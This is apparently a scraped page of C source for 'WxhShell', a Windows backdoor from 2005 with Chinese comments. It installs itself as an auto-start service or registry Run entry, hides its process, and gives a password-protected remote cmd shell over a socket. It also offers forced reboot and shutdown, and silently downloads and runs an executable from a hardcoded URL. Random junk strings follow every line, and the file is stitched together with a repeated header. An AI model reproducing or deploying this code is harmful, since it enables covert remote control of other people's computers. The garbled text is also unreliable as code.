    } 5 =Z!hQ}  
  // 关机 6c<ezEJ  
  case 'd': { Jps .;yjk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;&?pd"^<_Z  
    if(Boot(SHUTDOWN)) A/ 0qk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_ J+cRwq  
    else { [xdj6W  
    closesocket(wsh); I]uhi{\C  
    ExitThread(0); @2e2^8X7f  
    } Pp_V5,i\  
    break; nY^Nbh0  
    } d 4O   
  // 获取shell ;[6&0! N\  
  case 's': { ~ FUa: KYD  
    CmdShell(wsh); k'+}92 o  
    closesocket(wsh); f\K#>u* Q  
    ExitThread(0); \0AiCMX[  
    break; -x'e+zT  
  } aqr!oxn?t  
  // 退出 _!AJiP3!)4  
  case 'x': { a$}mWPp+f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W9R`A  
    CloseIt(wsh); o^ h(#%O  
    break; _V@P-Ye  
    } .nZ3kT`  
  // 离开 qY(:8yC36  
  case 'q': { T9)wj][ .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,7,;twKz  
    closesocket(wsh); V(mn yI  
    WSACleanup(); +Me2U9  
    exit(1); (@&I_>2Q  
    break; $']VQ4tZ  
        } 40K2uT{cq  
  } <NB41/  
  } -(;LQDG |  
/EFq#+6  
  // 提示信息 @@} `hii  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zvf3b!}  
} [7W(NeMk  
  } \&q=@rJp(z  
_CdROo6I  
  return; {}\CL#~y  
} GLh]G(  
D1X{:#|  
// shell模块句柄 ]\;xN~l  
int CmdShell(SOCKET sock) BaL]mIx  
{ A=`* r*  
STARTUPINFO si; <qY5SV,  
ZeroMemory(&si,sizeof(si)); crn k|o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CLK^gZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p4mY0Y]mP  
PROCESS_INFORMATION ProcessInfo; e4.&aIC[  
char cmdline[]="cmd"; 6 = gp:I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hg(5S,O2  
  return 0; y\[r(4h  
} U e*$&VlT  
{ZqQ!!b  
// 自身启动模式 &!1}`4$[T  
int StartFromService(void) ;KcFy@ 6q5  
{ ?`P2'i<b  
typedef struct N@1p]\  
{ SrZ50Se  
  DWORD ExitStatus; o'Y#H r)/  
  DWORD PebBaseAddress; A1_ J sS  
  DWORD AffinityMask; Qpu3(`d<  
  DWORD BasePriority; +qkMQETV6  
  ULONG UniqueProcessId; !N~*EI$  
  ULONG InheritedFromUniqueProcessId; nem@sB;v#  
}   PROCESS_BASIC_INFORMATION; 9S1#Lr`r  
$G[KT):N  
PROCNTQSIP NtQueryInformationProcess; ,")F[%v  
xo~g78jm7,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]!Zty[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S< x:t(  
_01Px a2.  
  HANDLE             hProcess; A3s57.Z]|  
  PROCESS_BASIC_INFORMATION pbi; d=F-L  
M+aEma  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~B_ D@gV|  
  if(NULL == hInst ) return 0; _!:@w9  
Efr&12YSS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >L[lV_M_>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C1QWU5c v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZvH{wt   
&jm[4'$ *z  
  if (!NtQueryInformationProcess) return 0; JEHK:1^  
n\ Uh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D#v?gPo4  
  if(!hProcess) return 0; cyMs(21  
2 sSwDF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oh\1>3,Ns  
Bp3L>AcVu  
  CloseHandle(hProcess); SDc" 4g`  
&=zU611,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sXB+s  
if(hProcess==NULL) return 0; V2Y$yV8g1  
mo9$NGM&}  
HMODULE hMod; m2b`/JW  
char procName[255];  cht  
unsigned long cbNeeded; 3h&bZ  
K-4tdC3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0QoLS|voA/  
5Y-2 #  
  CloseHandle(hProcess); PU+1=%'V  
%F5 =n"  
if(strstr(procName,"services")) return 1; // 以服务启动 :[?!\m%0  
%fpsc _  
  return 0; // 注册表启动 =pp:j`B9(  
} Z#7U "G-A  
F^rl$#pCS  
// 主模块 AgsR-"uh  
int StartWxhshell(LPSTR lpCmdLine) Zh,]J `  
{ kfCKhx   
  SOCKET wsl; EUZq$@uWL  
BOOL val=TRUE; bp%S62Dj  
  int port=0; J @B4 R&V  
  struct sockaddr_in door; k4R4YI"jV  
1Z:R,\+L  
  if(wscfg.ws_autoins) Install(); +/q0Y`v  
yW> RRE;  
port=atoi(lpCmdLine); -+P7:4/  
.)`-Hkxa  
if(port<=0) port=wscfg.ws_port; F< |c4  
*?N<S$m  
  WSADATA data; <E}N=J'uJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )ddsyFGW  
P6we(I`"2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   + *a7GttU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IJIQ" s  
  door.sin_family = AF_INET; S'@=3)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N D* ]gM  
  door.sin_port = htons(port); BD'NuI  
*w 21U!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !KDr`CV&  
closesocket(wsl); +H}e)1^ I  
return 1; D3.VXuKn6  
} V}:'Xgp*N  
;+/NjC1  
  if(listen(wsl,2) == INVALID_SOCKET) { 1;`Fe":;vC  
closesocket(wsl); CJA+v-  
return 1; %uuH^A  
} ?9S+Cj`  
  Wxhshell(wsl); `[@VxGy_  
  WSACleanup(); yFO)<GLk  
+2y&B,L_Wh  
return 0; [<Jp#&u6sb  
Nt,~b^9  
} 9K$]h2  
8^T2^gs  
// 以NT服务方式启动 UoRDeYQ`E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -<d(  
{ !x_t`78T  
DWORD   status = 0; I>Y{>S  
  DWORD   specificError = 0xfffffff; 8KKz5\kn7  
k_O-5{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1p=&WM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fz8h]PZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hf_'32e3<  
  serviceStatus.dwWin32ExitCode     = 0; 0etwz3NuW  
  serviceStatus.dwServiceSpecificExitCode = 0; )JX$/- RD-  
  serviceStatus.dwCheckPoint       = 0; G"C;A`6  
  serviceStatus.dwWaitHint       = 0; +!xu{2!  
cz>mhD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J {!'f| J  
  if (hServiceStatusHandle==0) return; |h D~6a  
cIZ[[(Db  
status = GetLastError(); ]b )!YPo  
  if (status!=NO_ERROR) tj0Qr-/  
{ Y"oDFo,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .FJ j  
    serviceStatus.dwCheckPoint       = 0; 6=3(oUl  
    serviceStatus.dwWaitHint       = 0; a7 =YG6[  
    serviceStatus.dwWin32ExitCode     = status; Ge1duRGa  
    serviceStatus.dwServiceSpecificExitCode = specificError; GoL|iNW`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YM8rJ-  
    return; (GNEYf|  
  } L ]*`4 L  
R9r)C{63S&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z:c*!`F  
  serviceStatus.dwCheckPoint       = 0; m:"+J  
  serviceStatus.dwWaitHint       = 0; 1x;@~yU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1=>2uYKR  
} OF-WUa4t  
_T a}B4;  
// 处理NT服务事件,比如:启动、停止 nqeVV&b!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6Wb!J>93  
{ _[%n ~6  
switch(fdwControl) nUqL\(UuY  
{ ?cJA^W  
case SERVICE_CONTROL_STOP: ]7l{g9?ZtV  
  serviceStatus.dwWin32ExitCode = 0; ( QKsB3X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {RJ52Gx(  
  serviceStatus.dwCheckPoint   = 0; }v&K~!*  
  serviceStatus.dwWaitHint     = 0; T,Fm"U6[(  
  { `OBl:e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g+3Hwtl  
  } |C4o zl=O?  
  return; Fq4lXlSB  
case SERVICE_CONTROL_PAUSE: K?JV]^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UT~4Cfb  
  break; `xGT_0&ck  
case SERVICE_CONTROL_CONTINUE: @Rf^P(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tbS#^Y  
  break; nAvs~J  
case SERVICE_CONTROL_INTERROGATE: Yu;9&b  
  break; c~37 +^B:  
}; B/rzh? b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N:7.:Yw  
} [lZ=s[n.  
}Wqtip:L  
// 标准应用程序主函数 n@_)fFD%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IOS^|2:,  
{ G-ZhGbAI7  
N-xnenci  
// 获取操作系统版本 eZ A6D\  
OsIsNt=GetOsVer(); m'c#uU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d#4Wj0x  
L@+Z)# V  
  // 从命令行安装 moe/cO5a9  
  if(strpbrk(lpCmdLine,"iI")) Install(); VH[l\I(h  
ys/vI/e\  
  // 下载执行文件 =CEHRny  
if(wscfg.ws_downexe) { 2zM-Ob<U`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i!tc  
  WinExec(wscfg.ws_filenam,SW_HIDE); y{?Kao7Ij  
} N?zV*ngBS  
@??u})^EL  
if(!OsIsNt) { Z|}H^0~7S  
// 如果时win9x,隐藏进程并且设置为注册表启动 $8=(I2&TW  
HideProc(); my]P_mE  
StartWxhshell(lpCmdLine); hj+p`e S  
} :Fc8S9  
else -&$%|cyThQ  
  if(StartFromService()) >6w@{p2B  
  // 以服务方式启动 Y1|^>C#a  
  StartServiceCtrlDispatcher(DispatchTable); i"vDRrDe  
else ig+k[`W  
  // 普通方式启动 2G H)iUmc  
  StartWxhshell(lpCmdLine); :)j7U3u  
|K6nOX!i  
return 0; qR_SQ VN  
} &hO$4qtN  
0:jsV|5B8  
KoFv0~8Q  
? 1GJa]G  
=========================================== TX&[;jsj  
~6] )*y  
$G)&J2zL  
,Io0ZE>`V  
NWeV>;lh9  
5%'o%`?i  
" vu44!c@  
UC.8DaIPN  
#include <stdio.h> DhHtz.6  
#include <string.h> N-Qu/,~+  
#include <windows.h> x4@MO|C  
#include <winsock2.h> Cy]"  
#include <winsvc.h> a$A2IkD  
#include <urlmon.h> Oxpo6G  
58 kv#;j  
#pragma comment (lib, "Ws2_32.lib") 2lF WW(  
#pragma comment (lib, "urlmon.lib") aD0Q0C+  
DZ,<Jmg&e*  
#define MAX_USER   100 // 最大客户端连接数 \ =S3 L<  
#define BUF_SOCK   200 // sock buffer `d.Gw+Un  
#define KEY_BUFF   255 // 输入 buffer 87R%ke  
e#K rgUG  
#define REBOOT     0   // 重启 x-tm[x@;o  
#define SHUTDOWN   1   // 关机 u6]gQP">I  
{ 576+:*  
#define DEF_PORT   5000 // 监听端口  PE^eP}O1  
9+W!k^VWq  
#define REG_LEN     16   // 注册表键长度 RzMA\r;#  
#define SVC_LEN     80   // NT服务名长度 X #&(~1O  
y|$vtD%c  
// 从dll定义API m9 ^m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SlR7h$r'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?56~yQF/2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |C^ c0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tWcizj;?wK  
^ sS>Mts  
// wxhshell配置信息 w{RNv%hJ$=  
struct WSCFG { r4;^c}  
  int ws_port;         // 监听端口 "0!~g/X`rK  
  char ws_passstr[REG_LEN]; // 口令 v`@5enr  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?.]o_L_K  
  char ws_regname[REG_LEN]; // 注册表键名 i-|/2I9%  
  char ws_svcname[REG_LEN]; // 服务名 ,xm;JXJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )-MA!\=<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zuK/(qZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z]'|nX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -$'~;O3s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3csm`JVK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s@/B*r9  
pK-_R#  
}; wgC??Be;ut  
lpIteZw:  
// default Wxhshell configuration )e @01l  
struct WSCFG wscfg={DEF_PORT, Z|V"8jE  
    "xuhuanlingzhe", MA~|y_V  
    1, H(  
    "Wxhshell", =1%zI%  
    "Wxhshell", iK$Vd+Lgc  
            "WxhShell Service", f6keWqv<GW  
    "Wrsky Windows CmdShell Service",  JsZAP  
    "Please Input Your Password: ", %@M00~-  
  1, AGw1Pl8]K  
  "http://www.wrsky.com/wxhshell.exe", |Ba4 G`  
  "Wxhshell.exe" 3?a0 +]  
    }; @m*&c*r  
0sq=5 BnO  
// 消息定义模块 )pkhir06t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oG|?F4l*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ykErt%k<n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MzBfHt'Rk  
char *msg_ws_ext="\n\rExit."; 9^6|ta0;0  
char *msg_ws_end="\n\rQuit."; GN"M:L ^k`  
char *msg_ws_boot="\n\rReboot..."; 6ON  
char *msg_ws_poff="\n\rShutdown..."; Z"teZ0H  
char *msg_ws_down="\n\rSave to "; o[5=S,'  
@2x0V]AI  
char *msg_ws_err="\n\rErr!"; 0"wbcAh)  
char *msg_ws_ok="\n\rOK!"; "Nk=g~|  
F'$9en2I:  
char ExeFile[MAX_PATH]; pko!{,c  
int nUser = 0; , mAB)at  
HANDLE handles[MAX_USER]; X67C;H+  
int OsIsNt; '6Pu[^x  
#u}v7{4  
SERVICE_STATUS       serviceStatus; .0 R/'!e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9,Crmbw8  
@lb=-oR!~  
// 函数声明 pgLzFY['  
int Install(void); >S?C {_g  
int Uninstall(void); | TQedC  
int DownloadFile(char *sURL, SOCKET wsh); 3&drof\{  
int Boot(int flag); g]EQ2g_N1  
void HideProc(void); 6xDl=*&%  
int GetOsVer(void); EOd.Tyb!/  
int Wxhshell(SOCKET wsl); *IMF4 x5M  
void TalkWithClient(void *cs); $71D)*{P  
int CmdShell(SOCKET sock); :IP;Frc MP  
int StartFromService(void); ?{ 8sT-Z-L  
int StartWxhshell(LPSTR lpCmdLine); .N-'; %8  
V7K tbL#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ($ [r>)TG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (Fbm9(q$d  
ne !j%9Ar  
// 数据结构和表定义 7gZVg@   
SERVICE_TABLE_ENTRY DispatchTable[] = q/d5P  
{  1pYmtr  
{wscfg.ws_svcname, NTServiceMain}, D@sx`H(  
{NULL, NULL} `JY>v io  
}; |p=.Gg=2  
b]tA2~e  
// 自我安装 ]ut-wqb{p  
int Install(void) i 5 >J  
{ u~naVX\3b  
  char svExeFile[MAX_PATH]; 84hi, S5P  
  HKEY key; .yFg$|yG  
  strcpy(svExeFile,ExeFile); M2zos(8g  
Mo/2,DiI5  
// 如果是win9x系统,修改注册表设为自启动  "df13U"  
if(!OsIsNt) { A .jp<>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \gJapx(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hb@G*L$  
  RegCloseKey(key); 7(+OsE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e GqvnNv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' 5OVs:)"^  
  RegCloseKey(key); }LHT#{+ x  
  return 0; AK*mcTr  
    } j]ln :?\  
  } (to/9OrG  
} ]"2 v7)e  
else { u75)>^:I   
"t%1@b*u  
// 如果是NT以上系统,安装为系统服务 O0=,&=i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]`/R("l[  
if (schSCManager!=0) b*6c. o  
{ 0Z1H6qn  
  SC_HANDLE schService = CreateService ^NnU gj  
  ( nY"rqILX?  
  schSCManager, c=jI.=mi3  
  wscfg.ws_svcname, ~H yyq-  
  wscfg.ws_svcdisp, vhE}{ED  
  SERVICE_ALL_ACCESS, D<D k1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M|Lw`?T  
  SERVICE_AUTO_START, upEPv .h  
  SERVICE_ERROR_NORMAL, "[".3V  
  svExeFile, s:m<(8WRw  
  NULL, tsSS31cv  
  NULL, &=6cz$]z  
  NULL, UVoLHd  
  NULL, kb}]sj  
  NULL 2XecP'+m  
  ); <p L;-  
  if (schService!=0) J.1ln = Y  
  { ^b `>/>  
  CloseServiceHandle(schService); [WO%rO^p  
  CloseServiceHandle(schSCManager); MRVz:g\mi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )o'U0rAx|a  
  strcat(svExeFile,wscfg.ws_svcname); &"H<+>`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x9o^9QJh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xJH9qc ME  
  RegCloseKey(key); -Y jv&5  
  return 0; 0@mX4.!  
    } 8)q]^  
  } yZ(Nv $[5  
  CloseServiceHandle(schSCManager); yK>0[6l  
} Y=WN4w  
} \dxW44sM  
c^[1]'y  
return 1; (zTI)EV  
} = "hY{RUa  
2cX"#."5p  
// 自我卸载 O.up%' %,  
int Uninstall(void) HBga'xJ  
{ Sfr\%Buv  
  HKEY key; lJ>QTZH!wW  
$v bAcWj  
if(!OsIsNt) { BqEubP(si  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <cfH '~  
  RegDeleteValue(key,wscfg.ws_regname); 3EW f|6RI  
  RegCloseKey(key); xO9]yULgu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d`],l\o C  
  RegDeleteValue(key,wscfg.ws_regname); kO`3ENN  
  RegCloseKey(key); divZJc  
  return 0; f{ 4G  
  } */Ry6Yu  
} U0bE B  
} U37?P7i's  
else { #+ lq7HJ1  
O]%m{afM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [|;Zxb:  
if (schSCManager!=0) m)]fJ_  
{ /HJ(Wt q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =*>4Gh i  
  if (schService!=0) F6GZZKj  
  { m[Ac'la  
  if(DeleteService(schService)!=0) { gc8PA_bFz  
  CloseServiceHandle(schService); ]gZ8b- 2O  
  CloseServiceHandle(schSCManager); <iprPk  
  return 0; -.Pu5et4  
  } _d=&9d#=\  
  CloseServiceHandle(schService); ://# %SE  
  } ]E8<;t)#  
  CloseServiceHandle(schSCManager); 6RT0\^X*:  
} >\oJ&gdc  
} I&NpN~AU  
IweK!,:>dN  
return 1; $Ex 9  
} zf;[nz  
ONe!'a0  
// 从指定url下载文件 `0G.Y  
int DownloadFile(char *sURL, SOCKET wsh) [Fj#7VZK  
{ >8fz ?A  
  HRESULT hr; L9YwOSb.  
char seps[]= "/"; k| cI!   
char *token; 3(GrDO9^  
char *file; yjFQk,A  
char myURL[MAX_PATH]; 2:5gMt  
char myFILE[MAX_PATH]; \^(vlcy  
7 KdM>1!  
strcpy(myURL,sURL); >]Yha}6h  
  token=strtok(myURL,seps); ZO0]+Ko  
  while(token!=NULL) E+c3KqM  
  { z&vms   
    file=token; Qu>zO!x  
  token=strtok(NULL,seps); rn5g+%jX*  
  } n]fbV/ x  
]GR q  
GetCurrentDirectory(MAX_PATH,myFILE); DUliU8B}\  
strcat(myFILE, "\\"); -r'seb5  
strcat(myFILE, file); ~S_IU">E  
  send(wsh,myFILE,strlen(myFILE),0); \lakT_x  
send(wsh,"...",3,0); &?Z)V-1H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2GKU9cV*`  
  if(hr==S_OK) -hR\Y 2?  
return 0; ;I))gY-n  
else DfzUGX  
return 1; xv%USm  
)W6- h  
} :E&T}RN  
MH8%-UV  
// 系统电源模块 hYv 6-5_  
int Boot(int flag) <J }9.k  
{ |QTqa~~B  
  HANDLE hToken; 8EEQV}4  
  TOKEN_PRIVILEGES tkp; IS4K$Ac.  
W#\};P  
  if(OsIsNt) { Z#:@M[HH{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $H@)hY8wA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2CgIY89O  
    tkp.PrivilegeCount = 1; 6')SJ*|yS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @>nk^ l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M-K@n$k   
if(flag==REBOOT) { KdMA58)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2xdJ(\JWM  
  return 0; @#Uiy5N  
} I_I;.Ik  
else { WCl;#=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o4'4H y  
  return 0; X6*y/KG N  
} PZg]zz=V4  
  } 8Y~T$Yj^  
  else { f#Cdx"  
if(flag==REBOOT) { skx=w<YO6]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %c/"A8{eb  
  return 0; :O+b4R+  
} rkc%S5we  
else { {#M{~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >37}JUG  
  return 0; x  Bw.M{  
} V+~{a:8[pq  
} iwjl--)@K  
m9w ; a  
return 1; I%C:d#p  
} Bo\v-97  
?F!J@Xn5  
// win9x进程隐藏模块 [#6Esy8|  
void HideProc(void) F8;4Oj  
{ s^R2jueR  
E^W*'D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RW[<e   
  if ( hKernel != NULL ) \0T*msYQ  
  { Xt*%"7yTp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f/i,Zw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JP@m%Yj  
    FreeLibrary(hKernel); X&oy.Roo  
  } ! e,(Zz5  
s:F+bG}|  
return; WvzvGT=  
} 5d{Ggg{s  
pcTXTy 28  
// 获取操作系统版本 @wJa33QT  
int GetOsVer(void) #|h8u`  
{ pdqa)>$  
  OSVERSIONINFO winfo; aMg f6veM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IMrOPwjc  
  GetVersionEx(&winfo); [y;ZbfMP|o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (MiOrzT  
  return 1; -mo ' $1  
  else %)ov,p |  
  return 0; T\CQ  
} @Hdg-f>y]  
> 0)`uJ  
// 客户端句柄模块 VZbIU[5  
int Wxhshell(SOCKET wsl) 6v)eM=   
{ ^F9zS `Yz2  
  SOCKET wsh; R*eM 1  
  struct sockaddr_in client; \J&#C(pn  
  DWORD myID; zn$ Ld,  
 Jiylrf`o  
  while(nUser<MAX_USER) 1Klu]J%  
{ ~6i mkv^ F  
  int nSize=sizeof(client); L>GYj6D9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  2_v+q  
  if(wsh==INVALID_SOCKET) return 1; H1i4_T  
%-po6Vf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P,=J"%a-  
if(handles[nUser]==0) C)}LV  
  closesocket(wsh); g7f%(W 2dd  
else D|'Z c &  
  nUser++; jt?%03iuk  
  } _'dy$.g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a3IB, dr5P  
^@"f%3  
  return 0; D ,^ U%<`  
} \ jdO,-(  
ys6"Q[B  
// 关闭 socket cty#@?"e  
void CloseIt(SOCKET wsh) g]JI}O*5  
{ {\Y,UANZ  
closesocket(wsh); B#n}y  
nUser--; #wuE30d  
ExitThread(0); `&7? +s  
} ]r5Xp#q2  
1 K',Vw_  
// 客户端请求句柄 iqP0=(^m  
void TalkWithClient(void *cs) i.,B 0s] Z  
{ uW_ /7ex  
< _uv!N  
  SOCKET wsh=(SOCKET)cs; F$p,xFH#  
  char pwd[SVC_LEN]; }gaKO 5  
  char cmd[KEY_BUFF]; a :AcCd)  
char chr[1]; -ouL4  
int i,j; Ggjb86v\  
|.nWy"L  
  while (nUser < MAX_USER) { o7B+f  
OZ9j3Q;a$  
if(wscfg.ws_passstr) { k5CIU}H"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tvCTC ey  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f\w4F'^tj  
  //ZeroMemory(pwd,KEY_BUFF); S@-X?Lu  
      i=0; >g=:01z9  
  while(i<SVC_LEN) { sOenR6J<$  
:PkSX*E[q  
  // 设置超时 T5G+^XDA  
  fd_set FdRead; m':m`,c!  
  struct timeval TimeOut; -8e tH&  
  FD_ZERO(&FdRead); hV>Ey^Ty  
  FD_SET(wsh,&FdRead); ^E*C~;^S  
  TimeOut.tv_sec=8; )A;<'{t #L  
  TimeOut.tv_usec=0;  /t P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1h{_v!X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X)5O@"4 ?  
mz '8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n&&y\?n  
  pwd=chr[0]; g;@PEZk1  
  if(chr[0]==0xd || chr[0]==0xa) { Q&{5.}L  
  pwd=0; {'C74s  
  break; cn{l %6K  
  } JDlIf  
  i++; `r LMMYD=  
    } e#{L ~3  
0C_Qp%Z  
  // 如果是非法用户,关闭 socket V^5 t~)#46  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %)]RM/e8  
} /m:}rD  
2N#L'v@g=+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T3Fh7S /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :6{HFMf"  
]B[Qdn  
while(1) { /2I("x]  
EQ-~e   
  ZeroMemory(cmd,KEY_BUFF); ,oe4*b}O=.  
L}nc'smvM  
      // 自动支持客户端 telnet标准   '(*D3ysU  
  j=0; a[De  
  while(j<KEY_BUFF) { hw2Hn   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r?*?iw2g  
  cmd[j]=chr[0]; d~%Rnic6*  
  if(chr[0]==0xa || chr[0]==0xd) { bN)?szh&Y  
  cmd[j]=0; TA5M4r6  
  break; lN" rhZ  
  } I}x*AM 7+  
  j++; B$j,:^  
    } =r8(9:F!  
"w1jr 6"  
  // 下载文件 H*IoJL6  
  if(strstr(cmd,"http://")) { QB>e(j%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !s:|Ddv  
  if(DownloadFile(cmd,wsh)) :=@[FXD4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i"@?eq#h  
  else }_x oT9HUr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5E8P bV-l  
  } *']RYu?X  
